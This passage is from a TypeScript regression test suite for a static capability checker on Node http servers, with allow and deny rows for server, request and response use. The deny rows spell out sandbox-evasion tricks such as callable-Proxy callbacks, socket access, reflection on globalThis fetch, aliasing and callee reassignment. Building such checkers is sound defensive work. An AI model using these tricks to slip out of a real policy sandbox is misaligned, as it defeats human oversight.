'hod'];`)), + allow('static/computed keys', 'response static element key', inListener(`response['statusCode'] = 200;\nresponse['end']();`)), + allow('static/computed keys', 'server static element key', withServer(`server['listen'](4317, '127.0.0.1');`)), + deny('static/computed keys', 'outer const resolves to client key', `${NS}\nconst K = 'request';\n{\n const K = 'createServer';\n}\nhttp[K]('x');`, ['HTTP_CLIENT_CAPABILITY']), + deny('static/computed keys', 'let key is indeterminate', `${NS}\nlet K = 'createServer';\nhttp[K](${L});`, ['HTTP_NAMESPACE_RUNTIME_KEY']), + deny('static/computed keys', 'written const key is indeterminate', `${NS}\nconst K = 'createServer';\n(K as any) = 'x';\nhttp[K](${L});`, ['HTTP_NAMESPACE_RUNTIME_KEY']), + deny('static/computed keys', 'cyclic const keys are indeterminate', `${NS}\nconst A: string = B;\nconst B: string = A;\nhttp[A](${L});`, ['HTTP_NAMESPACE_RUNTIME_KEY']), + deny('static/computed keys', 'destructured key is indeterminate', `${NS}\nconst { K } = { K: 'createServer' };\nhttp[K](${L});`, ['HTTP_NAMESPACE_RUNTIME_KEY']), + deny('static/computed keys', 'over-long key on proven target is denied', `${NS}\nhttp['createServerButMuchLongerThanAnyPolicyName'](${L});`, ['HTTP_CLIENT_CAPABILITY']), + deny('static/computed keys', 'resolved non-allowed key on request', inListener(`request['soc' + 'ket'];`), ['REQUEST_MEMBER']), + deny('static/computed keys', 'resolved non-allowed key on server', withServer(`server[\`on\`]('connection', () => {});`), ['SERVER_MEMBER']), +]; + +// --------------------------------------------------------------------------- +// 4. shorthand value binding +// --------------------------------------------------------------------------- + +const SHORTHAND: readonly RegressionRow[] = [ + deny('shorthand value binding', 'server as shorthand property value', withServer(`const box = { server };`), ['SERVER_ESCAPE'], { closes: ['F-3'] }), + deny('shorthand value binding', 'request as shorthand property value', inListener(`const box = { request };`), ['REQUEST_ESCAPE'], { closes: ['F-3'] }), + deny('shorthand value binding', 'response as shorthand property value', inListener(`const box = { response };`), ['RESPONSE_ESCAPE'], { closes: ['F-3'] }), + deny('shorthand value binding', 'shorthand return container', withFactory(`function bundle() { const server = createCockpitServer(); return { server }; }`), ['SERVER_ESCAPE'], { + closes: ['F-3'], + }), + deny('shorthand value binding', 'shorthand destructuring assignment onto request', inListener(`({ request } = { request: null } as any);`), ['REQUEST_DESTRUCTURING'], { + closes: ['F-3'], + }), + deny('shorthand value binding', 'shorthand export of server', withServer(`export { server };`), ['SERVER_EXPORT'], { closes: ['F-3', 'F-7'] }), + allow('shorthand value binding', 'property key named request is not a value read', inListener(`const box = { request: 1 };\nbox.request;`)), + allow( + 'shorthand value binding', + 'shorthand of a same-named unrelated binding in another scope', + `${NS}\nhttp.createServer(${L});\nfunction other() { const request = 1; const response = 2; return { request, response }; }`, + ), +]; + +// --------------------------------------------------------------------------- +// 5. socket acquisition through proven target policy +// --------------------------------------------------------------------------- + +const SOCKET: readonly RegressionRow[] = [ + deny('socket acquisition through proven target policy', 'request.socket', inListener(`request.socket;`), ['REQUEST_MEMBER']), + deny('socket acquisition through proven target policy', 'request.socket.write chain', inListener(`request.socket.write('x');`), ['REQUEST_MEMBER']), + deny('socket acquisition through proven target policy', 'request.connection', inListener(`const c = request.connection;`), ['REQUEST_MEMBER']), + deny('socket acquisition through proven target policy', 'response.socket', inListener(`response.socket;`), ['RESPONSE_MEMBER']), + deny('socket acquisition through proven target policy', 'response.connection.write', inListener(`response.connection.write('x');`), ['RESPONSE_MEMBER']), + deny('socket acquisition through proven target policy', 'destructured socket from request', inListener(`const { socket } = request;`), ['REQUEST_DESTRUCTURING'], { closes: ['F-2'] }), + deny('socket acquisition through proven target policy', 'destructured socket from response', inListener(`const { socket: s } = response;`), ['RESPONSE_DESTRUCTURING'], { closes: ['F-2'] }), + deny('socket acquisition through proven target policy', 'renamed destructuring of an innocuous key still denied', inListener(`const { url } = request;`), ['REQUEST_DESTRUCTURING'], { + closes: ['F-2'], + }), + deny('socket acquisition through proven target policy', 'request event subscription', inListener(`request.on('data', () => {});`), ['REQUEST_MEMBER']), + deny('socket acquisition through proven target policy', 'request.headers read', inListener(`request.headers;`), ['REQUEST_MEMBER']), + deny('socket acquisition through proven target policy', 'response.write', inListener(`response.write('x');`), ['RESPONSE_MEMBER']), + deny('socket acquisition through proven target policy', 'response.writeHead', inListener(`response.writeHead(200);`), ['RESPONSE_MEMBER']), + deny('socket acquisition through proven target policy', 'response.getHeader (benign but not allow-listed)', inListener(`response.getHeader('x');`), ['RESPONSE_MEMBER']), + deny('socket acquisition through proven target policy', 'response.statusCode read', inListener(`const c = response.statusCode;`), ['RESPONSE_MEMBER']), + deny('socket acquisition through proven target policy', 'Codex P1 witness: close with a callable Proxy callback recovering the server as this', withServer(`const proxy = new Proxy(() => {}, { apply(_target: unknown, receiver: http.Server) { receiver.listen(4318, '0.0.0.0'); } });\nserver.close(proxy);`), ['SERVER_CLOSE_CALLBACK']), + deny('socket acquisition through proven target policy', 'close with an ambient callback', withServer(`declare const onClosed: () => void;\nserver.close(onClosed);`), ['SERVER_CLOSE_CALLBACK']), + deny('socket acquisition through proven target policy', 'close with a non-function argument', withServer(`server.close(1);`), ['SERVER_CLOSE_CALLBACK']), + deny('socket acquisition through proven target policy', 'close with two arguments', withServer(`server.close(() => {}, 1);`), ['SERVER_CLOSE_CALLBACK']), + deny('socket acquisition through proven target policy', 'close with spread arguments', withServer(`declare const args: [() => void];\nserver.close(...args);`), ['SERVER_CLOSE_CALLBACK']), + allow('socket acquisition through proven target policy', 'close without callback', withServer(`server.close();`)), + allow('socket acquisition through proven target policy', 'close with an arrow callback', withServer(`server.close(() => { console.log('closed'); });`)), + allow('socket acquisition through proven target policy', 'close with a local function-declaration callback', withServer(`function onClosed() { console.log('closed'); }\nserver.close(onClosed);`)), + deny('socket acquisition through proven target policy', 'Codex P1 witness: end with a callable Proxy callback recovering the response as this', inListener(`const proxy = new Proxy(() => {}, { apply(_target: unknown, res: http.ServerResponse) { res.req.socket.write('x'); } });\nresponse.end('ok', proxy);`), ['RESPONSE_END_ARGUMENT']), + deny('socket acquisition through proven target policy', 'end with a callable Proxy as the chunk', inListener(`const proxy = new Proxy(() => {}, { apply(_target: unknown, res: http.ServerResponse) { res.req.socket.write('x'); } });\nresponse.end(proxy);`), ['RESPONSE_END_ARGUMENT']), + deny('socket acquisition through proven target policy', 'end with an ambient chunk', inListener(`declare const body: string;\nresponse.end(body);`), ['RESPONSE_END_ARGUMENT']), + deny('socket acquisition through proven target policy', 'end with a parameter chunk', `${NS}\nfunction send(r: http.ServerResponse, body: string) { r.end(body); }\nhttp.createServer((request, response) => { send(response, 'x'); });`, ['RESPONSE_END_ARGUMENT']), + deny('socket acquisition through proven target policy', 'end with an encoding argument', inListener(`response.end('x', 'utf8');`), ['RESPONSE_END_ARGUMENT']), + deny('socket acquisition through proven target policy', 'end with a local arrow callback', inListener(`response.end(() => {});`), ['RESPONSE_END_ARGUMENT']), + deny('socket acquisition through proven target policy', 'end with a nullish-coalesced chunk', inListener(`response.end(request.url ?? '');`), ['RESPONSE_END_ARGUMENT']), + deny('socket acquisition through proven target policy', 'end with a mutable string binding', inListener(`let body = 'x';\nresponse.end(body);`), ['RESPONSE_END_ARGUMENT']), + deny('socket acquisition through proven target policy', 'end with a shadowed String', inListener(`const String = (v: unknown) => v;\nresponse.end(String('x'));`), ['RESPONSE_END_ARGUMENT']), + deny('socket acquisition through proven target policy', 'end with a local function returning a parameter', inListener(`function echo(v: string) { return v; }\nresponse.end(echo('x'));`), ['RESPONSE_END_ARGUMENT']), + deny('socket acquisition through proven target policy', 'end with an async local function result', inListener(`async function page() { return 'x'; }\nresponse.end(page());`), ['RESPONSE_END_ARGUMENT']), + allow('socket acquisition through proven target policy', 'end without chunk', inListener(`response.end();`)), + allow('socket acquisition through proven target policy', 'end with a template chunk with spans', inListener('response.end(`

${request.url ?? \'\'}

`);')), + allow('socket acquisition through proven target policy', 'end with a concatenated chunk', inListener(`response.end('

' + request.url + '

');`)), + allow('socket acquisition through proven target policy', 'end with a const string chain', inListener(`const body = 'x';\nconst page = body;\nresponse.end(page);`)), + allow('socket acquisition through proven target policy', 'end with a conditional of proven strings', inListener(`response.end(request.url === '/' ? 'root' : 'other');`)), + allow('socket acquisition through proven target policy', 'end with a template of anything', inListener(`response.end(\`\${request.url}\`);`)), + // Codex P1 family: no ambient global call proves a string, so the routes that replace `String` no longer matter here. + deny('socket acquisition through proven target policy', 'end with String() of anything is not proven', inListener(`response.end(String(request.url));`), ['RESPONSE_END_ARGUMENT']), + deny('socket acquisition through proven target policy', 'end with String() of a literal is not proven', inListener(`response.end(String('x'));`), ['RESPONSE_END_ARGUMENT']), + allow('socket acquisition through proven target policy', 'end with a local string function result', inListener(`function page(title: string) { return \`

\${title}

\`; }\nresponse.end(page('x'));`)), + allow('socket acquisition through proven target policy', 'end with a const holding a local string function result', inListener(`function page() { return ''; }\nconst html = page();\nresponse.end(html);`)), + deny('socket acquisition through proven target policy', 'server.on connection', withServer(`server.on('connection', (socket) => { socket.write('x'); });`), ['SERVER_MEMBER']), + deny('socket acquisition through proven target policy', 'server.address', withServer(`server.address();`), ['SERVER_MEMBER']), + deny('socket acquisition through proven target policy', 'server.listen read without call', withServer(`const l = server.listen;`), ['SERVER_MEMBER']), + deny('socket acquisition through proven target policy', 'server.listen.call nested chain', withServer(`server.listen.call(server, 1);`), ['SERVER_MEMBER', 'SERVER_ESCAPE']), + deny('socket acquisition through proven target policy', 'server.close.bind', withServer(`const c = server.close.bind(server);`), ['SERVER_MEMBER', 'SERVER_ESCAPE']), + deny('socket acquisition through proven target policy', 'optional-chained listen', withServer(`server?.listen(4317, '127.0.0.1');`), ['SERVER_MEMBER']), + deny('socket acquisition through proven target policy', 'server.connections', withServer(`server.connections;`), ['SERVER_MEMBER']), + allow('socket acquisition through proven target policy', 'listen with callback', withServer(`server.listen(4317, '127.0.0.1', () => { console.log('up'); });`)), + allow('socket acquisition through proven target policy', 'close', withServer(`server.close();`)), + allow('socket acquisition through proven target policy', 'request.method and request.url', inListener(`const m = request.method ?? '';\nconst u = request.url;\nm + u;`)), + allow('socket acquisition through proven target policy', 'response setHeader/end/statusCode', inListener(`response.statusCode = 404;\nresponse.setHeader('a', 'b');\nresponse.end('x');`)), + // PR #67 F2: the result of a direct non-optional allowed member call retains the receiver's authority. + deny('socket acquisition through proven target policy', 'listen result subscribes to connection (PR #67 F2)', withServer(`server.listen(4317, '127.0.0.1').on('connection', (socket) => { socket.write('x'); });`), ['SERVER_MEMBER']), + deny('socket acquisition through proven target policy', 'close result subscribes', withServer(`server.close().on('close', () => {});`), ['SERVER_MEMBER']), + deny('socket acquisition through proven target policy', 'listen result address', withServer(`server.listen(4317, '127.0.0.1').address();`), ['SERVER_MEMBER']), + deny('socket acquisition through proven target policy', 'setHeader result socket', inListener(`response.setHeader('a', 'b').socket;`), ['RESPONSE_MEMBER']), + deny('socket acquisition through proven target policy', 'end result socket', inListener(`response.end('x').socket;`), ['RESPONSE_MEMBER']), + deny('socket acquisition through proven target policy', 'end result socket through wrapper', inListener(`(response.end('x') as any).socket.write('x');`), ['RESPONSE_MEMBER']), + deny('socket acquisition through proven target policy', 'setHeader result write', inListener(`response.setHeader('a', 'b').write('x');`), ['RESPONSE_MEMBER']), + deny('socket acquisition through proven target policy', 'static element key call result', withServer(`server['listen'](4317, '127.0.0.1')['on']('x', () => {});`), ['SERVER_MEMBER']), + deny('socket acquisition through proven target policy', 'listen result destructured', withServer(`const { on } = server.listen(4317, '127.0.0.1');`), ['SERVER_DESTRUCTURING']), + allow('socket acquisition through proven target policy', 'listen result close chain', withServer(`server.listen(4317, '127.0.0.1').close();`)), + allow('socket acquisition through proven target policy', 'setHeader result end chain', inListener(`response.setHeader('a', 'b').end('x');`)), + allow('socket acquisition through proven target policy', 'listen result as void operand', withServer(`void server.listen(4317, '127.0.0.1');`)), + allow('socket acquisition through proven target policy', 'chained allowed calls of arbitrary length', withServer(`server.listen(4317, '127.0.0.1').close().listen(4317, '127.0.0.1').close();`)), +]; + +// --------------------------------------------------------------------------- +// 6. runtime keys +// --------------------------------------------------------------------------- + +const RUNTIME_KEYS: readonly RegressionRow[] = [ + deny('runtime keys', 'server[k]()', withServer(`declare const k: string;\nserver[k]();`), ['SERVER_MEMBER']), + deny('runtime keys', 'request[k]', inListener(`declare const k: string;\nrequest[k];`), ['REQUEST_MEMBER']), + deny('runtime keys', 'response[k] = 1', inListener(`declare const k: string;\nresponse[k] = 1;`), ['RESPONSE_MEMBER']), + deny('runtime keys', 'server[fn()]', withServer(`server[String(1)]();`), ['SERVER_MEMBER']), + deny('runtime keys', 'globalThis[k]', `declare const k: string;\nglobalThis[k];`, ['GLOBAL_RECEIVER_RUNTIME_KEY']), + deny('runtime keys', 'computed destructuring key from globalThis', `declare const k: string;\nconst { [k]: v } = globalThis;`, ['GLOBAL_RECEIVER_RUNTIME_KEY']), + deny('runtime keys', 'computed destructuring assignment key from globalThis', `declare const k: string;\nlet v;\n({ [k]: v } = globalThis);`, ['GLOBAL_RECEIVER_RUNTIME_KEY']), + deny('runtime keys', 'parameter key on request', inListener(`function read(k: string) { return request[k]; }`), ['REQUEST_MEMBER']), + deny('runtime keys', 'http[k] with parameter', `${NS}\nfunction pick(k: string) { return http[k]; }`, ['HTTP_NAMESPACE_RUNTIME_KEY']), + deny('runtime keys', 'server[k]() result keeps existing member verdict', withServer(`declare const k: string;\nserver[k]().on('x', () => {});`), ['SERVER_MEMBER']), + deny('runtime keys', 'globalThis[k]() result keeps existing runtime-key verdict', `declare const k: string;\nglobalThis[k]().fetch('x');`, ['GLOBAL_RECEIVER_RUNTIME_KEY']), +]; + +// --------------------------------------------------------------------------- +// 7. alias propagation +// --------------------------------------------------------------------------- + +const ALIAS: readonly RegressionRow[] = [ + allow('alias propagation', 'const alias chain of server', withServer(`const a = server;\nconst b = a;\nb.listen(4317, '127.0.0.1');`)), + allow('alias propagation', 'wrapped alias', withServer(`const a = (server as http.Server)!;\na.close();`)), + allow('alias propagation', 'alias of request and response in listener', inListener(`const q = request;\nconst s = response;\nq.url;\ns.end();`)), + allow('alias propagation', 'alias used as statement, void, typeof', withServer(`const a = server;\na;\nvoid a;\ntypeof a;`)), + deny('alias propagation', 'let binding of server', `${NS}\nlet server = http.createServer(${L});`, ['SERVER_MUTABLE_BINDING']), + deny('alias propagation', 'var binding of server', `${NS}\nvar server = http.createServer(${L});`, ['SERVER_MUTABLE_BINDING']), + deny('alias propagation', 'let alias of server', withServer(`let a = server;`), ['SERVER_MUTABLE_BINDING']), + deny('alias propagation', 'let alias of response', inListener(`let r = response;`), ['RESPONSE_MUTABLE_BINDING']), + deny('alias propagation', 'exported const alias of server', withServer(`export const a = server;`), ['SERVER_EXPORT']), + deny('alias propagation', 'written const alias is not immutable', withServer(`const a = server; +(a as any) = null;`), ['SERVER_MUTABLE_BINDING']), + deny('alias propagation', 'conditional initializer', withServer(`const a = Math.random() > 0.5 ? server : null;`), ['SERVER_ESCAPE']), + deny('alias propagation', 'comma initializer', inListener(`const r = (0, request);`), ['REQUEST_ESCAPE']), + deny('alias propagation', 'await initializer', inListener(`const r = await response;`), ['RESPONSE_ESCAPE']), + deny('alias propagation', 'container initializer', withServer(`const [a] = [server];`), ['SERVER_ESCAPE']), + deny('alias propagation', 'destructuring initializer', withServer(`const { listen } = server;`), ['SERVER_DESTRUCTURING']), + deny('alias propagation', 'assignment forwarding', withServer(`let a;\na = server;`), ['SERVER_ESCAPE']), + deny('alias propagation', 'alias then escape', withServer(`const a = server;\nuse(a);`), ['SERVER_ESCAPE']), + deny('alias propagation', 'alias then non-allowed member', inListener(`const q = request;\nq.socket;`), ['REQUEST_MEMBER']), + deny('alias propagation', 'ambient const alias', withServer(`declare const a: typeof server;\nconst b = server;\nb.on('x', () => {});`), ['SERVER_MEMBER']), + // PR #67 F2: a const alias of an allowed member call result carries the receiver's authority. + deny('alias propagation', 'const alias of listen result then escape (PR #67 F2)', withServer(`const leaked = server.listen(4317, '127.0.0.1');\nuse(leaked);`), ['SERVER_ESCAPE']), + deny('alias propagation', 'const alias of setHeader result then escape', inListener(`const r2 = response.setHeader('a', 'b');\nuse(r2);`), ['RESPONSE_ESCAPE']), + deny('alias propagation', 'const alias of end result then socket', inListener(`const r2 = response.end('x');\nr2.socket;`), ['RESPONSE_MEMBER']), + deny('alias propagation', 'alias chain through allowed call results', withServer(`const a = server.listen(4317, '127.0.0.1');\nconst b = a.close();\nb.on('x', () => {});`), ['SERVER_MEMBER']), + deny('alias propagation', 'PARAM-derived call result alias escapes', withServer(`function setup(s: http.Server) { const t = s.listen(4317, '127.0.0.1'); use(t); }\nsetup(server);`), ['SERVER_ESCAPE']), + deny('alias propagation', 'let binding of listen result', withServer(`let started = server.listen(4317, '127.0.0.1');`), ['SERVER_MUTABLE_BINDING']), + allow('alias propagation', 'const alias of listen result used within policy', withServer(`const started = server.listen(4317, '127.0.0.1');\nstarted.close();`)), +]; + +// --------------------------------------------------------------------------- +// 8. local function propagation +// --------------------------------------------------------------------------- + +const LOCAL_PROPAGATION: readonly RegressionRow[] = [ + allow( + 'local function propagation', + 'FunctionDeclaration receives response (real host applySecurityHeaders)', + `${NS}\nfunction applySecurityHeaders(response: http.ServerResponse): void { response.setHeader('a', 'b'); }\nhttp.createServer((request, response) => { applySecurityHeaders(response); });`, + ), + allow( + 'local function propagation', + 'const arrow receives response', + `${NS}\nconst apply = (res: http.ServerResponse): void => { res.end(); };\nhttp.createServer((request, response) => { apply(response); });`, + ), + allow( + 'local function propagation', + 'const function expression receives request', + `${NS}\nconst read = function (req: http.IncomingMessage) { return req.url; };\nhttp.createServer((request, response) => { read(request); response.end(); });`, + ), + allow( + 'local function propagation', + 'two-hop propagation', + `${NS}\nfunction a(res: http.ServerResponse) { b(res); }\nfunction b(res: http.ServerResponse) { res.end(); }\nhttp.createServer((request, response) => { a(response); });`, + ), + allow( + 'local function propagation', + 'parameter with default initializer', + `${NS}\ndeclare const fallback: http.ServerResponse;\nfunction a(res: http.ServerResponse = fallback) { res.end(); }\nhttp.createServer((request, response) => { a(response); });`, + ), + allow('local function propagation', 'server passed to eligible local setup', withServer(`function setup(s: http.Server) { s.listen(4317, '127.0.0.1'); }\nsetup(server);`)), + allow('local function propagation', 'createServer result passed directly to eligible callee', `${NS}\nfunction setup(s: http.Server) { s.listen(4317, '127.0.0.1'); }\nsetup(http.createServer(${L}));`), + allow( + 'local function propagation', + 'mutually recursive propagation converges', + `${NS}\nfunction a(res: http.ServerResponse, n: number) { if (n > 0) b(res, n - 1); else res.end(); }\nfunction b(res: http.ServerResponse, n: number) { a(res, n); }\nhttp.createServer((request, response) => { a(response, 3); });`, + ), + deny( + 'local function propagation', + 'propagated response misused', + `${NS}\nfunction f(res: http.ServerResponse) { res.socket; }\nhttp.createServer((request, response) => { f(response); });`, + ['RESPONSE_MEMBER'], + ), + deny( + 'local function propagation', + 'propagated request destructured', + `${NS}\nfunction f(req: http.IncomingMessage) { const { socket } = req; }\nhttp.createServer((request, response) => { f(request); });`, + ['REQUEST_DESTRUCTURING'], + { closes: ['F-1'] }, + ), + deny( + 'local function propagation', + 'propagated server misused two hops away', + withServer(`function a(s: http.Server) { b(s); }\nfunction b(s: http.Server) { s.on('x', () => {}); }\na(server);`), + ['SERVER_MEMBER'], + ), + deny( + 'local function propagation', + 'rest parameter callee', + `${NS}\nfunction f(...args: unknown[]) { args; }\nhttp.createServer((request, response) => { f(response); });`, + ['RESPONSE_ESCAPE'], + ), + deny( + 'local function propagation', + 'pattern parameter callee', + `${NS}\nfunction f({ socket }: http.IncomingMessage) { socket; }\nhttp.createServer((request, response) => { f(request); });`, + ['REQUEST_ESCAPE'], + ), + deny( + 'local function propagation', + 'missing parameter callee', + `${NS}\nfunction f() { return 1; }\nhttp.createServer((request, response) => { f(response); });`, + ['RESPONSE_ESCAPE'], + ), + deny('local function propagation', 'unknown callee', inListener(`use(response);`), ['RESPONSE_ESCAPE']), + deny('local function propagation', 'method callee', inListener(`const o = { handle(r: unknown) { return r; } };\no.handle(response);`), ['RESPONSE_ESCAPE']), + deny('local function propagation', 'spread argument', `${NS}\nfunction f(res: unknown) { res; }\nhttp.createServer((request, response) => { f(...[response]); });`, ['RESPONSE_ESCAPE']), + deny('local function propagation', 'let-bound callee', `${NS}\nlet f = (res: unknown) => { res; };\nhttp.createServer((request, response) => { f(response); });`, ['RESPONSE_ESCAPE']), + deny('local function propagation', 'IIFE callee', inListener(`((r: http.IncomingMessage) => r.socket)(request);`), ['REQUEST_ESCAPE']), + deny('local function propagation', 'optional call', `${NS}\nfunction f(res: unknown) { res; }\nhttp.createServer((request, response) => { f?.(response); });`, ['RESPONSE_ESCAPE']), + deny('local function propagation', 'class method callee', `${NS}\nclass H { run(r: unknown) { return r; } }\nhttp.createServer((request, response) => { new H().run(response); });`, ['RESPONSE_ESCAPE']), + deny('local function propagation', 'new argument', inListener(`class Box { constructor(public v: unknown) {} }\nnew Box(response);`), ['RESPONSE_ESCAPE']), + deny( + 'local function propagation', + 'callee returns the request', + `${NS}\nfunction f(req: http.IncomingMessage) { return req; }\nhttp.createServer((request, response) => { f(request); });`, + ['REQUEST_UNCONFINED_RETURN'], + ), + deny( + 'local function propagation', + 'spread precedes the privileged argument', + `${NS}\nfunction f(a: unknown, res: unknown) { a; res; }\nhttp.createServer((request, response) => { f(...[1], response); });`, + ['RESPONSE_ESCAPE'], + ), +]; + +// --------------------------------------------------------------------------- +// 9. callee immutability +// --------------------------------------------------------------------------- + +const IMMUTABILITY: readonly RegressionRow[] = [ + deny( + 'callee immutability', + 'reassigned FunctionDeclaration callee', + `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\n(f as any) = (r: any) => r.socket.write('x');\nhttp.createServer((request, response) => { f(response); });`, + ['RESPONSE_ESCAPE'], + { closes: ['F-4'] }, + ), + deny( + 'callee immutability', + 'destructuring-assigned FunctionDeclaration callee', + `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\n[(f as any)] = [null];\nhttp.createServer((request, response) => { f(response); });`, + ['RESPONSE_ESCAPE'], + { closes: ['F-4'] }, + ), + deny( + 'callee immutability', + 'shorthand destructuring-assigned FunctionDeclaration callee', + `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\n({ f } = { f: null } as any);\nhttp.createServer((request, response) => { f(response); });`, + ['RESPONSE_ESCAPE'], + { closes: ['F-4', 'F-3'] }, + ), + deny( + 'callee immutability', + 'for-of assigned FunctionDeclaration callee', + `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\nfor (f as any of [null]) {}\nhttp.createServer((request, response) => { f(response); });`, + ['RESPONSE_ESCAPE'], + { closes: ['F-4'] }, + ), + deny( + 'callee immutability', + 'compound-assigned FunctionDeclaration callee', + `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\n(f as any) += 1;\nhttp.createServer((request, response) => { f(response); });`, + ['RESPONSE_ESCAPE'], + { closes: ['F-4'] }, + ), + deny( + 'callee immutability', + 'updated FunctionDeclaration callee', + `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\n(f as any)++;\nhttp.createServer((request, response) => { f(response); });`, + ['RESPONSE_ESCAPE'], + { closes: ['F-4'] }, + ), + deny( + 'callee immutability', + 'duplicate FunctionDeclaration is not unique', + `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\nfunction f(res: http.ServerResponse) { res.socket; }\nhttp.createServer((request, response) => { f(response); });`, + ['RESPONSE_ESCAPE'], + { closes: ['F-4'] }, + ), + deny( + 'callee immutability', + 'reassigned listener FunctionDeclaration', + `${NS}\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(); }\n(handle as any) = null;\nhttp.createServer(handle);`, + ['LISTENER_NOT_FUNCTION'], + { closes: ['F-4'] }, + ), + deny( + 'callee immutability', + 'reassigned factory FunctionDeclaration', + `${NS}\nfunction make() { return http.createServer(${L}); }\n(make as any) = null;\nconst server = make();`, + ['SERVER_UNCONFINED_RETURN'], + { closes: ['F-4', 'F-6'] }, + ), + allow( + 'callee immutability', + 'read-only aliasing of the callee leaves it immutable', + `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\nconst g = f;\nhttp.createServer((request, response) => { f(response); });`, + ), + allow( + 'callee immutability', + 'callee written only as a property key elsewhere', + `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\nconst o = { f: 1 };\no.f = 2;\nhttp.createServer((request, response) => { f(response); });`, + ), +]; + +// --------------------------------------------------------------------------- +// 10. mutation/reflection +// --------------------------------------------------------------------------- + +const MUTATION: readonly RegressionRow[] = [ + deny('mutation/reflection', 'Object.defineProperty on response', inListener(`Object.defineProperty(response, 'x', { value: 1 });`), ['RESPONSE_ESCAPE']), + deny('mutation/reflection', 'Reflect.get on request', inListener(`Reflect.get(request, 'socket');`), ['REQUEST_ESCAPE']), + deny('mutation/reflection', 'Object.assign on server', withServer(`Object.assign(server, {});`), ['SERVER_ESCAPE']), + deny('mutation/reflection', 'Object.getPrototypeOf on response', inListener(`Object.getPrototypeOf(response);`), ['RESPONSE_ESCAPE']), + deny('mutation/reflection', 'Object.setPrototypeOf on server', withServer(`Object.setPrototypeOf(server, null);`), ['SERVER_ESCAPE']), + deny('mutation/reflection', 'Reflect.get on globalThis', `Reflect.get(globalThis, 'fetch');`, ['GLOBAL_RECEIVER_ESCAPE']), + deny('mutation/reflection', 'delete response.statusCode', inListener(`delete (response as any).statusCode;`), ['RESPONSE_MEMBER']), + deny('mutation/reflection', 'response.end overwritten', inListener(`(response as any).end = () => {};`), ['RESPONSE_MEMBER']), + deny('mutation/reflection', 'server.listen overwritten', withServer(`(server as any).listen = () => {};`), ['SERVER_MEMBER']), + deny('mutation/reflection', 'request.url written', inListener(`request.url = '/x';`), ['REQUEST_MEMBER']), + deny('mutation/reflection', 'request.method compound write', inListener(`(request as any).method += 'X';`), ['REQUEST_MEMBER']), + deny('mutation/reflection', 'response.statusCode incremented', inListener(`response.statusCode++;`), ['RESPONSE_MEMBER']), + deny('mutation/reflection', 'response.statusCode non-literal assignment', inListener(`declare const code: number;\nresponse.statusCode = code;`), ['RESPONSE_MEMBER']), + deny('mutation/reflection', 'response.statusCode arithmetic assignment', inListener(`response.statusCode = 200 + 4;`), ['RESPONSE_MEMBER']), + deny('mutation/reflection', 'response.setHeader.call', inListener(`response.setHeader.call(response, 'a', 'b');`), ['RESPONSE_MEMBER', 'RESPONSE_ESCAPE']), + deny('mutation/reflection', 'request destructured as write target', inListener(`[request.url] = ['/x'];`), ['REQUEST_MEMBER']), + deny('mutation/reflection', 'for-in over request', inListener(`for (const k in request) { k; }`), ['REQUEST_ESCAPE']), + deny('mutation/reflection', 'for-of assignment to server binding', withServer(`for (server as any of []) {}`), ['SERVER_MUTABLE_BINDING']), + deny('mutation/reflection', 'server reassigned', withServer(`(server as any) = null;`), ['SERVER_MUTABLE_BINDING']), + deny('mutation/reflection', 'propagated server parameter reassigned', withServer(`function setup(s: http.Server) { (s as any) = null; } +setup(server);`), ['SERVER_WRITE']), + deny('mutation/reflection', 'response reassigned', inListener(`response = null as any;`), ['RESPONSE_WRITE']), + deny('mutation/reflection', 'ThisExpression anywhere', `${NS}\nfunction f() { return this; }`, ['THIS_EXPRESSION']), + deny('mutation/reflection', 'arguments anywhere', `${NS}\nfunction f() { return arguments[0]; }`, ['ARGUMENTS_USE']), + deny('mutation/reflection', 'arguments forwarded from listener', inListener(`use(arguments);`), ['ARGUMENTS_USE']), + allow('mutation/reflection', 'unrelated reflection', `Object.freeze({ a: 1 });\nReflect.ownKeys({});`), + allow('mutation/reflection', 'statusCode numeric literal with wrapper', inListener(`response.statusCode = (200 as number);`)), + allow('mutation/reflection', 'this in a type position and arguments as a property key', `${NS}\nfunction f(this: void): this is void { return true; }\nconst o = { arguments: 1 };\no.arguments;`), +]; + +// --------------------------------------------------------------------------- +// 11. createServer listener boundary +// --------------------------------------------------------------------------- + +const LISTENER_BOUNDARY: readonly RegressionRow[] = [ + deny('createServer listener boundary', 'zero arguments', `${NS}\nhttp.createServer();`, ['CREATE_SERVER_ARITY']), + deny('createServer listener boundary', 'two listener arguments', `${NS}\nhttp.createServer(${L}, ${L});`, ['CREATE_SERVER_ARITY']), + deny('createServer listener boundary', 'new http.createServer', `${NS}\nnew http.createServer(${L});`, ['CREATE_SERVER_NEW']), + deny('createServer listener boundary', 'new createServer', `${NAMED}\nnew createServer(${L_PLAIN});`, ['CREATE_SERVER_NEW']), + deny('createServer listener boundary', 'let-bound listener', `${NS}\nlet handler = ${L};\nhttp.createServer(handler);`, ['LISTENER_NOT_FUNCTION']), + deny('createServer listener boundary', 'imported listener', `${NS}\nimport { handler } from './h.js';\nhttp.createServer(handler);`, ['LISTENER_NOT_FUNCTION']), + deny('createServer listener boundary', 'object listener', `${NS}\nhttp.createServer({} as any);`, ['LISTENER_NOT_FUNCTION']), + deny('createServer listener boundary', 'conditional listener', `${NS}\nhttp.createServer(Math.random() > 0.5 ? ${L} : ${L});`, ['LISTENER_NOT_FUNCTION']), + deny('createServer listener boundary', 'spread listener', `${NS}\ndeclare const args: [any];\nhttp.createServer(...args);`, ['LISTENER_NOT_FUNCTION']), + deny('createServer listener boundary', 'class listener', `${NS}\nhttp.createServer(class {} as any);`, ['LISTENER_NOT_FUNCTION']), + deny('createServer listener boundary', 'call-result listener', `${NS}\ndeclare function make(): any;\nhttp.createServer(make());`, ['LISTENER_NOT_FUNCTION']), + deny('createServer listener boundary', 'written const listener spine', `${NS}\nconst handler = ${L};\n(handler as any) = null;\nhttp.createServer(handler);`, ['LISTENER_NOT_FUNCTION']), + deny('createServer listener boundary', 'cyclic listener spine', `${NS}\nconst a: any = b;\nconst b: any = 